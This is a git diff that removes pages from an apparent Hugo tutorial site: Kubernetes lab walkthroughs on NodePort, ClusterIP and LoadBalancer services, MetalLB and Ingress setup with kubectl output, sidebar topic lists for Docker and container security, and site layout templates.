- -To use the service from a pod, run a shell in the quote-001 - In my case, the quiz service uses cluster IP 10.99.118.40, whereas the quote service uses IP 10.98.242.63 - - -#### Access container outsusteride the clluster - -Now to access the container externally from the outside network we can use the public IP of individual worker node along with the NodePort - -curl https://: - -```sh -kubectl get pods -o wide - -``` -#### Creating a service through a YAML descriptor - -```sh -[root@controller ~]# cat 2048.yml -apiVersion: apps/v1 -kind: Deployment -metadata: - name: "2048-deployment" -spec: - selector: - matchLabels: - app: "2048" - replicas: 5 - template: - metadata: - labels: - app: "2048" - spec: - containers: - - image: alexwhen/docker-2048 - imagePullPolicy: Always - name: "2048" - ports: - - containerPort: 80 - protocol: TCP --- ##### Creating a NodePort service -apiVersion: v1 -kind: Service -metadata: - name: myservice - labels: - app: servicelabel -spec: - type: NodePort - ports: - - port: 80 - selector: - app: "2048" -``` - -```sh -kubectl create -f 2048.yml -``` - - -```sh -➜ k8s101 git:(main) ✗ kubectl get pods -o wide -NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES -2048-deployment-9ccbf58bd-57tng 1/1 Running 0 50s 172.17.0.12 minikube -2048-deployment-9ccbf58bd-78pnr 1/1 Running 0 50s 172.17.0.14 minikube -2048-deployment-9ccbf58bd-mbfrt 1/1 Running 0 50s 172.17.0.13 minikube -2048-deployment-9ccbf58bd-tfcnd 1/1 Running 0 50s 172.17.0.9 minikube -2048-deployment-9ccbf58bd-trxqw 1/1 Running 0 50s 172.17.0.11 minikube -kube-ops-view-5b596b7c7d-z2p2v 1/1 Running 0 7h37m 172.17.0.17 minikube -kube-ops-view-redis-6dc75f67cd-klhpf 1/1 Running 0 7h37m 172.17.0.16 minikube -lab-nginx-84756b7fc4-4qctt 1/1 Running 0 7h37m 172.17.0.19 minikube -lab-nginx-84756b7fc4-rhg4m 1/1 Running 0 7h37m 172.17.0.18 minikube -label-nginx-example-5f8bc677b9-6trt6 1/1 Running 0 7h37m 172.17.0.20 minikube -my-release-kubeview-f7447cf6c-2w85w 1/1 Running 0 7h37m 172.17.0.21 minikube -nginx-1-ff5997cdf-kpff9 1/1 Running 0 7h37m 172.17.0.7 minikube -nginx-lab-1-84756b7fc4-77kvz 1/1 Running 0 7h37m 172.17.0.8 minikube -nginx-lab-1-84756b7fc4-r9cmt 1/1 Running 0 7h37m 172.17.0.4 minikube -nginx-lab-1-84756b7fc4-sqbf4 1/1 Running 0 7h37m 172.17.0.10 minikube - -``` -```sh -➜ k8s101 git:(main) ✗ kubectl get svc -NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE -kubernetes ClusterIP 10.96.0.1 443/TCP 31m -myservice NodePort 10.111.94.141 80:31487/TCP 2m55s -``` -```sh -➜ k8s101 git:(main) ✗ kubectl describe service myservice -Name: myservice -Namespace: default -Labels: app=servicelabel -Annotations: -Selector: app=2048 -Type: NodePort -IP Family Policy: SingleStack -IP Families: IPv4 -IP: 10.111.94.141 -IPs: 10.111.94.141 -Port: 80/TCP -TargetPort: 80/TCP -NodePort: 31487/TCP -Endpoints: 172.17.0.11:80,172.17.0.12:80,172.17.0.13:80 + 2 more... -Session Affinity: None -External Traffic Policy: Cluster -Events: -➜ k8s101 git:(main) ✗ - -``` - -##### Accessing a NodePort service - -``` -➜ k8s101 git:(main) ✗ minikube service myservice -|-----------|-----------|-------------|---------------------------| -| NAMESPACE | NAME | TARGET PORT | URL | -|-----------|-----------|-------------|---------------------------| -| default | myservice | 80 | http://192.168.49.2:31487 | -|-----------|-----------|-------------|---------------------------| -🏃 Starting tunnel for service myservice. -|-----------|-----------|-------------|------------------------| -| NAMESPACE | NAME | TARGET PORT | URL | -|-----------|-----------|-------------|------------------------| -| default | myservice | | http://127.0.0.1:60323 | -|-----------|-----------|-------------|------------------------| -🎉 Opening service default/myservice in default browser... -❗ Because you are using a Docker driver on darwin, the terminal needs to be open to run it. -``` - - - - diff --git a/content/en/k8s/c8.Service-Type.md b/content/en/k8s/c8.Service-Type.md deleted file mode 100644 index dc6281b..0000000 --- a/content/en/k8s/c8.Service-Type.md +++ /dev/null @@ -1,395 +0,0 @@ ---- -title: "Service Type - NodePort,ClusterIP,LoadBalancer " -description: " kubernetes Service " -slug: "Service-Type-NodePort,ClusterIP,LoadBalancer" ---- - -#### Service Type1: NodePort - -NodePort service helps expose the Service on each Node’s IP at a static port (the NodePort). NodePort The port is available to all the workers in the cluster. A ClusterIP Service, to which the NodePort Service routes are automatically created. One would be able to contact the NodePort Service, from outside the cluster, by requesting :. -The port on the POD is called the targetPort and the one connecting the NodePort service to the POD is called port. -All this means if any request coming into port 30080 to the cluster on any worker node will be forwarded to the “Node Port Service,” which in turn will forward the request to the underlying Pod at port 80. - - -Let’s start with creating a deployment using the YAML file below. Some key things to note, each container is using the port 80 and has a label called app:nginx - - -```yaml -apiVersion: apps/v1 -kind: Deployment -metadata: - name: my-nginx-deploy - labels: - app: nginx -spec: - replicas: 2 - selector: - matchLabels: - app: nginx - template: - metadata: - labels: - app: nginx - spec: - containers: - - name: test-nginx - image: nginx:alpine - ports: - - containerPort: 80 - -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl apply -f my-nginx-deploy.yml -deployment.apps/my-nginx-deploy created -➜ k8s101 git:(main) ✗ kubectl get pods -NAME READY STATUS RESTARTS AGE -my-nginx-deploy-5c9989fcf4-pqpgj 1/1 Running 0 17s -my-nginx-deploy-5c9989fcf4-zkq8p 1/1 Running 0 17s -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl describe pod my-nginx-deploy-5c9989fcf4-pqpgj | grep -i IP: | head -1 -IP: 172.17.0.22 - -➜ k8s101 git:(main) ✗ kubectl describe pod my-nginx-deploy-5c9989fcf4-zkq8p | grep -i IP: | head -1 -IP: 172.17.0.15 -``` - -```sh -kubectl get pods -NAME READY STATUS RESTARTS AGE -my-nginx-deploy-6b5d6b54bc-7pbmk 1/1 Running 0 7m47s -my-nginx-deploy-6b5d6b54bc-glhnt 1/1 Running 0 7m47s -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl describe pod my-nginx-deploy-5c9989fcf4-pqpgj | grep -i IP: | head -1 -IP: 172.17.0.22 -➜ k8s101 git:(main) ✗ kubectl describe pod my-nginx-deploy-5c9989fcf4-zkq8p | grep -i IP: | head -1 -IP: 172.17.0.15 -➜ k8s101 git:(main) ✗ kubectl exec my-nginx-deploy-5c9989fcf4-pqpgj -it sh -kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl exec [POD] -- [COMMAND] instead. -/ # apk add curl -fetch https://dl-cdn.alpinelinux.org/alpine/v3.17/main/aarch64/APKINDEX.tar.gz -fetch https://dl-cdn.alpinelinux.org/alpine/v3.17/community/aarch64/APKINDEX.tar.gz -OK: 43 MiB in 62 packages -/ # curl http://172.17.0.22:80 - - - -Welcome to nginx! - - - -

Welcome to nginx!

-

If you see this page, the nginx web server is successfully installed and -working. Further configuration is required.

- -

For online documentation and support please refer to -nginx.org.
-Commercial support is available at -nginx.com.

- -

Thank you for using nginx.

- - -/ # exit -``` - -So how do we reach the PODs externally? -To reach the pods from outside the cluster, one needs to expose the port on the host machine to redirect the traffic to a port of the container. NodePort Service provides that capability. - -```yaml -apiVersion: v1 -kind: Service -metadata: - name: my-service -spec: - type: NodePort - selector: - app: nginx - ports: - # By default the `targetPort` is set to the same value as the `port` field. - - port: 80 - targetPort: 80 - # Optional field - # By default and for convenience, the Kubernetes control plane will allocate a port from a range (default: 30000-32767) - nodePort: 30007 -``` - -``` -kubectl apply -f nodeport.yml -service/my-service created -kubectl get svc -NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE -my-service NodePort 10.110.8.243 80:30007/TCP 12m -``` - - -NodePort service created has a virtual IP (10.110.8.243) assigned to it called ClusterIp, using which it can be accessed internally. To access the service, since we are using minikube, let’s see where the service is hosted for external usage. - -```sh - k8s101 git:(main) ✗ minikube service my-service -|-----------|------------|-------------|---------------------------| -| NAMESPACE | NAME | TARGET PORT | URL | -|-----------|------------|-------------|---------------------------| -| default | my-service | 80 | http://192.168.49.2:30007 | -|-----------|------------|-------------|---------------------------| -🏃 Starting tunnel for service my-service. -|-----------|------------|-------------|------------------------| -| NAMESPACE | NAME | TARGET PORT | URL | -|-----------|------------|-------------|------------------------| -| default | my-service | | http://127.0.0.1:61723 | -|-----------|------------|-------------|------------------------| -🎉 Opening service default/my-service in default browser... - -``` - - -|`Feature`| `ClusterIP` | `NodePort` | `LoadBalancer`| -|:----|:---- |:------:| -----:| -|**Exposition**|Exposes the Service on an internal IP in the cluster.|Exposing services to external clients|Exposing services to external clients| -|**Cluster** |This type makes the Service only reachable from within the cluster|A NodePort service, each cluster node opens a port on the node itself (hence the name) and redirects traffic received on that port to the underlying service.|A LoadBalancer service accessible through a dedicated load balancer, provisioned from the cloud infrastructure Kubernetes is running on| -|**Accessibility**|It is **default** service and Internal clients send requests to a stable internal IP address.|The service is accessible at the internal cluster IP-port, and also through a dedicated port on all nodes.|Clients connect to the service through the load balancer’s IP.| -|**Yaml Config**|`type: ClusterIP `|`type: NodePort`|`type: LoadBalancer`| -|**Port Range**|Any public ip form Cluster|30000 - 32767|Any public ip form Cluster| -|**User Cases**| For internal communication |Best for testing public or private access or providing access for a small amount of time.| widely used For External communication| - - - -### ClusterIP - -ClusterIP is the default ServiceType and it creates a single IP address that can be used to access its Pods which can only be accessed from inside the cluster. If KubeDNS is enabled it will also get a series of DNS records assigned to it include an A record to match its IP. This is very useful for exposing microservices running inside the same Kubernetes cluster to each other. - -```sh -kubectl run hello --image=paulczar/hello-world -deployment "hello" created -``` - -```sh -kubectl expose deployment hello --port=8080 --type=ClusterIP -service "hello" exposed -$ kubectl run -i --tty --rm debug --image=alpine \ - --restart=Never -- wget -qO - hello:8080 -hello worldhello world! -$ kubectl delete service hello -service "hello" deleted -``` - -Since KubeDNS is enabled in minikube by default you can access the service via DNS using the name of the service. - -### NodePort - -NodePort builds on top of ClusterIP to create a mapping from each Worker Node’s static IP on a specified (or Kubernetes chosen) Port. A Service exposed as a NodePort can be accessed via :. This ServiceType can be useful when developing applications with minikube or for exposing a specific Port to an application via an unmanaged load balancer or round robin DNS. - -```sh -$ kubectl expose deployment hello --port=8080 --type=NodePort -service "hello" exposed -$ kubectl get service hello -NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE -hello NodePort 10.0.0.231 8080:30259/TCP 21s -$ minikube ip -192.168.99.100 -$ curl 192.168.99.100:30259 -hello worldhello world! -$ kubectl delete service hello -service "hello" deleted -``` - -### LoadBalancer - -LoadBalancer builds on top of NodePort and is used to automatically configure a supported external Load Balancer (for instance an ELB in Amazon) to route traffic through to the NodePort of the Service. This is the most versatile of the ServiceTypes but requires that you have a supported Load Balancer in your infrastructure of which most major cloud providers have. -In minikube this would produce the same result as a NodePort as minikube does not have a load balancer. However we can demonstrate it on Google Cloud quite easily if you have an account: - -```sh -$ kubectl run hello --image=paulczar/hello-world -deployment "hello" created -$ kubectl expose deployment hello --port=8080 --type=LoadBalancer -service "hello" exposed -$ kubectl get service -NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE -hello LoadBalancer 10.11.251.34 35.192.25.113 8080:32107/TCP 2m -$ curl 35.192.25.113:8080 -hello worldhello world! -``` - -```sh -➜ k8s101 git:(main) ✗ minikube addons list -|-----------------------------|----------|--------------|--------------------------------| -| ADDON NAME | PROFILE | STATUS | MAINTAINER | -|-----------------------------|----------|--------------|--------------------------------| -| ambassador | minikube | disabled | 3rd party (Ambassador) | -| auto-pause | minikube | disabled | Google | -| cloud-spanner | minikube | disabled | Google | -| csi-hostpath-driver | minikube | disabled | Kubernetes | -| dashboard | minikube | enabled ✅ | Kubernetes | -| default-storageclass | minikube | enabled ✅ | Kubernetes | -| efk | minikube | disabled | 3rd party (Elastic) | -| freshpod | minikube | disabled | Google | -| gcp-auth | minikube | disabled | Google | -| gvisor | minikube | disabled | Google | -| headlamp | minikube | disabled | 3rd party (kinvolk.io) | -| helm-tiller | minikube | disabled | 3rd party (Helm) | -| inaccel | minikube | disabled | 3rd party (InAccel | -| | | | [info@inaccel.com]) | -| ingress | minikube | disabled | Kubernetes | -| ingress-dns | minikube | disabled | Google | -| istio | minikube | disabled | 3rd party (Istio) | -| istio-provisioner | minikube | disabled | 3rd party (Istio) | -| kong | minikube | disabled | 3rd party (Kong HQ) | -| kubevirt | minikube | disabled | 3rd party (KubeVirt) | -| logviewer | minikube | disabled | 3rd party (unknown) | -| metallb | minikube | disabled | 3rd party (MetalLB) | -| metrics-server | minikube | enabled ✅ | Kubernetes | -| nvidia-driver-installer | minikube | disabled | Google | -| nvidia-gpu-device-plugin | minikube | disabled | 3rd party (Nvidia) | -| olm | minikube | disabled | 3rd party (Operator Framework) | -| pod-security-policy | minikube | disabled | 3rd party (unknown) | -| portainer | minikube | disabled | 3rd party (Portainer.io) | -| registry | minikube | disabled | Google | -| registry-aliases | minikube | disabled | 3rd party (unknown) | -| registry-creds | minikube | disabled | 3rd party (UPMC Enterprises) | -| storage-provisioner | minikube | enabled ✅ | Google | -| storage-provisioner-gluster | minikube | disabled | 3rd party (Gluster) | -| volumesnapshots | minikube | disabled | Kubernetes | -|-----------------------------|----------|--------------|--------------------------------| -💡 To see addons list for other profiles use: `minikube addons -p name list` -➜ k8s101 git:(main) ✗ minikube addons enable metallb -❗ metallb is a 3rd party addon and is not maintained or verified by minikube maintainers, enable at your own risk. -❗ metallb does not currently have an associated maintainer. - ▪ Using image docker.io/metallb/speaker:v0.9.6 - ▪ Using image docker.io/metallb/controller:v0.9.6 -🌟 The 'metallb' addon is enabled -➜ k8s101 git:(main) ✗ -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl get ns -NAME STATUS AGE -default Active 116d -kube-node-lease Active 116d -kube-public Active 116d -kube-system Active 116d -kubernetes-dashboard Active 46h -metallb-system Active 155m -➜ k8s101 git:(main) ✗ kubectl get all -n metallb-system -NAME READY STATUS RESTARTS AGE -pod/controller-55496b5cd7-p4k6g 1/1 Running 0 155m -pod/speaker-8l8kb 1/1 Running 0 155m - -NAME DESIRED CURRENT READY UP-TO-DATE AVAILABLE NODE SELECTOR AGE -daemonset.apps/speaker 1 1 1 1 1 beta.kubernetes.io/os=linux 155m - -NAME READY UP-TO-DATE AVAILABLE AGE -deployment.apps/controller 1/1 1 1 155m - -NAME DESIRED CURRENT READY AGE -replicaset.apps/controller-55496b5cd7 1 1 1 155m -``` - -``` -➜ k8s101 git:(main) ✗ minikube ip -192.168.49.2 -➜ k8s101 git:(main) ✗ minikube addons configure metallb --- Enter Load Balancer Start IP: 192.168.49.100 --- Enter Load Balancer End IP: 192.168.49.120 - ▪ Using image docker.io/metallb/controller:v0.9.6 - ▪ Using image docker.io/metallb/speaker:v0.9.6 -✅ metallb was successfully configured -➜ k8s101 git:(main) ✗ -``` - -#### create ngnix deployment via Loadbalancer - - -```sh -apiVersion: v1 -kind: Service -metadata: - name: nginx-svc -spec: - selector: - app: nginx - ports: - - protocol: TCP - port: 80 - targetPort: 80 - type: LoadBalancer ---- -apiVersion: apps/v1 -kind: Deployment -metadata: - name: nginx-deployment - labels: - app: nginx -spec: - replicas: 1 - selector: - matchLabels: - app: nginx - template: - metadata: - labels: - app: nginx - spec: - containers: - - name: nginx - image: nginx:1.14.2 - ports: - - containerPort: 80 - -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl apply -f ngnix-metallb.yaml -service/nginx-svc created -deployment.apps/nginx-deployment created - -➜ k8s101 git:(main) ✗ kubectl get po,svc -NAME READY STATUS RESTARTS AGE -pod/2048-deployment-9ccbf58bd-57tng 1/1 Running 0 6h18m -pod/2048-deployment-9ccbf58bd-78pnr 1/1 Running 0 6h18m -pod/2048-deployment-9ccbf58bd-mbfrt 1/1 Running 0 6h18m -pod/2048-deployment-9ccbf58bd-tfcnd 1/1 Running 0 6h18m -pod/2048-deployment-9ccbf58bd-trxqw 1/1 Running 0 6h18m -pod/kube-ops-view-5b596b7c7d-z2p2v 1/1 Running 0 13h -pod/kube-ops-view-redis-6dc75f67cd-klhpf 1/1 Running 0 13h -pod/lab-nginx-84756b7fc4-4qctt 1/1 Running 0 13h -pod/lab-nginx-84756b7fc4-rhg4m 1/1 Running 0 13h -pod/label-nginx-example-5f8bc677b9-6trt6 1/1 Running 0 13h -pod/my-nginx-deploy-5c9989fcf4-pqpgj 1/1 Running 0 4h23m -pod/my-nginx-deploy-5c9989fcf4-zkq8p 1/1 Running 0 4h23m -pod/my-release-kubeview-f7447cf6c-2w85w 1/1 Running 0 13h -pod/nginx-1-ff5997cdf-kpff9 1/1 Running 0 13h -pod/nginx-deployment-7fb96c846b-cm296 1/1 Running 0 80s -pod/nginx-lab-1-84756b7fc4-77kvz 1/1 Running 0 13h -pod/nginx-lab-1-84756b7fc4-r9cmt 1/1 Running 0 13h -pod/nginx-lab-1-84756b7fc4-sqbf4 1/1 Running 0 13h - -NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE -service/kubernetes ClusterIP 10.96.0.1 443/TCP 6h46m -service/my-service NodePort 10.103.55.123 80:30007/TCP 3h22m -service/myservice NodePort 10.111.94.141 80:31487/TCP 6h18m -service/nginx-svc LoadBalancer 10.104.216.130 192.168.49.100 80:31150/TCP 80s -➜ k8s101 git:(main) ✗ -``` -```sh -k8s101 git:(main) ✗ minikube tunnel -✅ Tunnel successfully started - -📌 NOTE: Please do not close this terminal as this process must stay alive for the tunnel to be accessible ... - -❗ The service/ingress nginx-svc requires privileged ports to be exposed: [80] -🔑 sudo permission will be asked for it. -🏃 Starting tunnel for service nginx-svc. -¸^C✋ Stopped tunnel for service nginx-svc. -``` - -#### open localhost on 80 port - -localhost:80 diff --git a/content/en/k8s/c9.Ingress-Controller.md b/content/en/k8s/c9.Ingress-Controller.md deleted file mode 100644 index f575791..0000000 --- a/content/en/k8s/c9.Ingress-Controller.md +++ /dev/null @@ -1,159 +0,0 @@ ---- -title: "Ingress Controller" -description: " kubernetes Service " -slug: "Ingress-Controller" ---- - -#### enable ingress addon - -```sh -k8s101 git:(main) ✗ minikube addons enable ingress -💡 ingress is an addon maintained by Kubernetes. For any concerns contact minikube on GitHub. -You can view the list of minikube maintainers at: https://github.com/kubernetes/minikube/blob/master/OWNERS -💡 After the addon is enabled, please run "minikube tunnel" and your ingress resources would be available at "127.0.0.1" - ▪ Using image k8s.gcr.io/ingress-nginx/kube-webhook-certgen:v1.1.1 - ▪ Using image k8s.gcr.io/ingress-nginx/controller:v1.2.1 - ▪ Using image k8s.gcr.io/ingress-nginx/kube-webhook-certgen:v1.1.1 -🔎 Verifying ingress addon... -🌟 The 'ingress' addon is enabled -➜ k8s101 git:(main) ✗ -``` -#### verify ngnix controller running - -```sh -➜ k8s101 git:(main) ✗ kubectl get pods -n ingress-nginx -NAME READY STATUS RESTARTS AGE -ingress-nginx-admission-create-fxzbs 0/1 Completed 0 4m7s -ingress-nginx-admission-patch-jw98n 0/1 Completed 1 4m7s -ingress-nginx-controller-5959f988fd-tv8x8 1/1 Running 0 4m7s - -``` -#### verify all pods running - -```sh -➜ k8s101 git:(main) ✗ kubectl get pods -n kube-system -NAME READY STATUS RESTARTS AGE -coredns-565d847f94-bl9qz 1/1 Running 0 12h -etcd-minikube 1/1 Running 0 12h -kube-apiserver-minikube 1/1 Running 0 12h -kube-controller-manager-minikube 1/1 Running 0 12h -kube-proxy-qj7s7 1/1 Running 0 12h -kube-scheduler-minikube 1/1 Running 0 12h -storage-provisioner 1/1 Running 2 (12h ago) 12h - -``` - -#### Deploy Hello World App - -```sh - -➜ k8s101 git:(main) ✗ kubectl create deployment web --image=gcr.io/google-samples/hello-app:1.0 -deployment.apps/web created -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl expose deployment web --type=NodePort --port=8080 -service/web exposed -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl get service web -NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE -web NodePort 10.100.132.142 8080:30646/TCP 41s - -``` - -```sh -➜ k8s101 git:(main) ✗ minikube service web --url -http://127.0.0.1:51575 -❗ Because you are using a Docker driver on darwin, the terminal needs to be open to run it. -``` - -output -``` -Hello, world! -Version: 1.0.0 -Hostname: web-84fb9498c7-zx2k4 -``` - -### Ingress that sends traffic to your Service via hello-world.info. - -```yaml -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - name: example-ingress - annotations: - nginx.ingress.kubernetes.io/rewrite-target: /$1 -spec: - rules: - - host: hello-world.info - http: - paths: - - path: / - pathType: Prefix - backend: - service: - name: web - port: - number: 8080 - -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl apply -f example-ingress.yaml -ingress.networking.k8s.io/example-ingress created -``` - -#### verify IP addree - -```sh -➜ k8s101 git:(main) ✗ kubectl get ingress -NAME CLASS HOSTS ADDRESS PORTS AGE -example-ingress nginx hello-world.info 192.168.49.2 80 18m -➜ k8s101 git:(main) ✗ -``` - - -```sh -➜ k8s101 git:(main) ✗ echo "127.0.0.1 hello-world.info" | sudo tee -a /etc/hosts -127.0.0.1 hello-world.info -➜ k8s101 git:(main) ✗ kubectl apply -f example-ingress.yaml -ingress.networking.k8s.io/example-ingress unchanged -``` -#### add path - -```yaml - - path: /v2 - pathType: Prefix - backend: - service: - name: web2 - port: - number: 8080 - -``` - -```sh -➜ k8s101 git:(main) ✗ kubectl apply -f example-ingress.yaml -ingress.networking.k8s.io/example-ingress configured -``` - -```sh -➜ k8s101 git:(main) ✗ minikube tunnel -✅ Tunnel successfully started - -📌 NOTE: Please do not close this terminal as this process must stay alive for the tunnel to be accessible ... - -❗ The service/ingress example-ingress requires privileged ports to be exposed: [80 443] -🔑 sudo permission will be asked for it. -🏃 Starting tunnel for service example-ingress. - -``` - -### check output - -```sh -http://hello-world.info/ -http://hello-world.info/v2 -``` \ No newline at end of file diff --git a/data/en/containersecurity/sidebar.yml b/data/en/containersecurity/sidebar.yml deleted file mode 100644 index 28be470..0000000 --- a/data/en/containersecurity/sidebar.yml +++ /dev/null @@ -1,35 +0,0 @@ -- title: Container Security - pages: - - title: Overview - -- title: 🔒ContainerSecurity - pages: - - title: What is container? - - title: Container vs Virtualization - - title: Namespaces - - title: Cgroups - - title: Capabilities - - title: Docker architecture and its components - - title: Interacting with container ecosystem - - title: Attack surface of the container ecosystem - - title: Docker volumes - - title: Docker Networking - - title: Auditing Docker Security - - title: Container Image Security - - title: DockerFile Security Best Practices - - title: SecretScanner - Finding secrets and passwords in container images and file systems - - title: YaraHunter - Malware Scanner for Container Images - - title: Security Linting of Dockerfiles - - title: Static Analysis of container images library for container - - title: Docker host security configurations - - title: Docker Daemon security configurations - - title: Content Trust and Integrity checks - - title: Docker Registry security configurations - - title: DockerScan - - title: Dive - - title: Docker events - - title: - - title: - - title: - - title: - diff --git a/data/en/docker/sidebar.yml b/data/en/docker/sidebar.yml deleted file mode 100644 index 0581225..0000000 --- a/data/en/docker/sidebar.yml +++ /dev/null @@ -1,58 +0,0 @@ -- title: Docker - pages: - - title: Overview - -- title: 🐳 Learn Docker - pages: - - title: Pre-requisit for this lab - - title: Docker Hello World Example - - title: Docker Image Filtering - - title: Images and Container As Tar file - - title: Push first Nginx Web app To DockerHub - - title: Build a Base Image from Scratch - - title: Dockerfile Lab - ADD instruction - - title: Dockerfile Lab - COPY instruction - - title: Dockerfile Lab - CMD instruction - - title: Dockerfile Lab - Entrypoint instruction - - title: Dockerfile Lab - WORKDIR instruction - - title: Dockerfile Lab - RUN instruction - - title: Dockerfile Lab - ARG instruction - - title: Dockerfile Lab - Volume instruction - - title: Dockerfile Lab - USER instruction - - title: Dockerfile Lab - HEALTHCHECK instruction - - title: Dockerfile Lab - ENV instruction - - title: Dockerfile Lab - ONBUILD instruction - - title: Running multiple docker containers from CLI - - title: Write First Docker Compose file - - title: Docker Compose with Volume Mount - - title: Build Own Dockerfile and Docker Compose with Custom configuration - - title: Simple php apache and database using docker compose - - title: Host Volume Mount - Data persistentence - - title: Named Volume Mount - Data persistentence - - title: Docker Compose CLI - Build Command - - title: Docker Compose CLI - Config Command - - title: Docker Compose CLI - CP Command - - title: Docker Compose CLI - Create Command - - title: Docker Compose CLI - Down Command - - title: Docker Compose CLI - Events Command - - title: Docker Compose CLI - Exec Command - - title: Docker Compose CLI - Images Command - - title: Docker Compose CLI - Kill Command - - title: Docker Compose CLI - logs Command - - title: Docker Compose CLI - ls Command - - title: Docker Compose CLI - Pause unpause Command - - title: Docker Compose CLI - Port Command - - title: Docker Compose CLI - ps Command - - title: Docker Compose CLI - pull Command - - title: Docker Compose CLI - push Command - - title: Docker Compose CLI - rm Command - - title: Docker Compose CLI - run Command - - title: Setup local network - - title: Setup Remote network - - title: Newtorking in Docker Compose - - title: Newtorking in Docker Compose with ngnix - - title: Docker Wordpress Example - - title: - - title: - - title: - - title: diff --git a/data/en/k8s/sidebar.yml b/data/en/k8s/sidebar.yml deleted file mode 100644 index d59b8bd..0000000 --- a/data/en/k8s/sidebar.yml +++ /dev/null @@ -1,18 +0,0 @@ -- title: k8s - pages: - - title: Overview - -- title: ⎈ kubernetes - pages: - - title: Pre-requisit for this lab - - title: Basics of Pod - - title: Create POD with Command and Arguments - - title: Multi-Container Pods - - title: Deployments and replication - - title: Labels and Selectors - - title: Kubernetes Service - - title: Service Type - NodePort,ClusterIP,LoadBalancer - - title: Ingress Controller - - title: ConfigMap - - diff --git a/images/screenshot.png b/images/screenshot.png deleted file mode 100644 index da92b4f..0000000 Binary files a/images/screenshot.png and /dev/null differ diff --git a/images/tn.png b/images/tn.png deleted file mode 100644 index 0fab169..0000000 Binary files a/images/tn.png and /dev/null differ diff --git a/layouts/.DS_Store b/layouts/.DS_Store deleted file mode 100644 index 2e85e42..0000000 Binary files a/layouts/.DS_Store and /dev/null differ diff --git a/layouts/_default/404.html b/layouts/_default/404.html deleted file mode 100644 index 6fd92f5..0000000 --- a/layouts/_default/404.html +++ /dev/null @@ -1,10 +0,0 @@ -{{ define "main" }} -
-
-
-

Page Not Found

-

Sorry, but the page you were trying to view does not exist.

-
-
-
-{{ end }} \ No newline at end of file diff --git a/layouts/_default/baseof.html b/layouts/_default/baseof.html deleted file mode 100644 index b0fe0fe..0000000 --- a/layouts/_default/baseof.html +++ /dev/null @@ -1,22 +0,0 @@ - - - - {{ partial "head" . }} - - - - - - - {{ partial "site-header" . }} - {{ block "main" . }}{{ end }} - {{ partial "site-footer" . }} - {{ partial "scripts" . }} - - \ No newline at end of file diff --git a/layouts/_default/home.html b/layouts/_default/home.html deleted file mode 100644 index 6f7804e..0000000 --- a/layouts/_default/home.html +++ /dev/null @@ -1,35 +0,0 @@ -{{ define "main" }} -
-
-
- - -

{{ .Site.Params.description }}

- Join CloudNativeFolks Community - - {{ with .Site.Params.githubRepos }} - {{ partial "github-repos-grid" . }} - {{ else }} - {{ with .Site.Params.githubRepo }} - {{ partial "github-buttons" . }} - {{ end }} - {{ end }} -

Thanks to all our contributors!

- - - - - -
- - - -
- - - - - -
-{{ end }} - diff --git a/layouts/_default/single.html b/layouts/_default/single.html deleted file mode 100644 index be3e3d1..0000000 --- a/layouts/_default/single.html +++ /dev/null @@ -1,21 +0,0 @@ -{{ define "main" }} -
- {{ $dataLocale := index .Site.Data .Site.Language.Lang }} - {{ if isset $dataLocale .Section }} - {{ partial "sidebar" . }} - {{ end }} -
- - {{ partial "toc" . }} -
-
-{{ end }} \ No newline at end of file diff --git a/layouts/blog/list.html b/layouts/blog/list.html deleted file mode 100644 index 94af419..0000000 --- a/layouts/blog/list.html +++ /dev/null @@ -1,47 +0,0 @@ -{{ define "main" }} - -{{ range .Site.Taxonomies.categories }} - -{{ end }} -{{ end }} diff --git a/layouts/blog/single.html b/layouts/blog/single.html deleted file mode 100644 index 7a403b2..0000000 --- a/layouts/blog/single.html +++ /dev/null @@ -1,15 +0,0 @@ -{{ define "title" }} -{{ .Title }} | Blog | {{ .Site.Title }} -{{ end }} - -{{ define "main" }} -{{ partial "article-nav" . }} -{{ partial "article-header" . }} -{{ partial "blog/hero.html" . }} -
- {{ $content := .Content }} - {{ $content = replaceRE `` `` $content | safeHTML }} - {{ $content | safeHTML }} -
-{{ partial "toc" . }} -{{ end }} diff --git a/layouts/partials/analytics.html b/layouts/partials/analytics.html deleted file mode 100644 index 8f9d055..0000000 --- a/layouts/partials/analytics.html +++ /dev/null @@ -1,8 +0,0 @@ - - \ No newline at end of file diff --git a/layouts/partials/article-footer.html b/layouts/partials/article-footer.html deleted file mode 100644 index a0dbc5f..0000000 --- a/layouts/partials/article-footer.html +++ /dev/null @@ -1,66 +0,0 @@ -{{ $lastMod := .Lastmod.Format "2006-01-02" }} - -{{ $prevPageTitle := "" }} -{{ $nextPageTitle := "" }} -{{ $prevPageHref := "" }} -{{ $nextPageHref := "" }} - -{{ $dataLocale := index .Site.Data .Site.Language.Lang }} -{{ if isset $dataLocale .Section }} - {{ $data := index .Site.Data .Site.Language.Lang .Section "sidebar"}} - {{- $url := split .Permalink "/" -}} - {{- $urlPageSlug := index $url (sub (len $url) 2) -}} - - {{ $isSectionIndex := eq $urlPageSlug .Section }} - {{ $isActivePagePassed := false }} - {{ $isNextPagePassed := false }} - - {{- range $group := $data -}} - {{ if $isNextPagePassed }} - {{break}} - {{ end }} - - {{- range $page := $group.pages -}} - {{- $pageSlug := $page.title | urlize -}} - {{- $isActivePage := or $isSectionIndex (eq $urlPageSlug $pageSlug) -}} - - {{ if $isActivePagePassed }} - {{ $nextPageTitle = $page.title }} - - {{ if eq .Site.Language.Lang .Site.DefaultContentLanguage }} - {{ $nextPageHref = printf "/%s/%s/" $.Section $pageSlug }} - {{ else }} - {{ $nextPageHref = printf 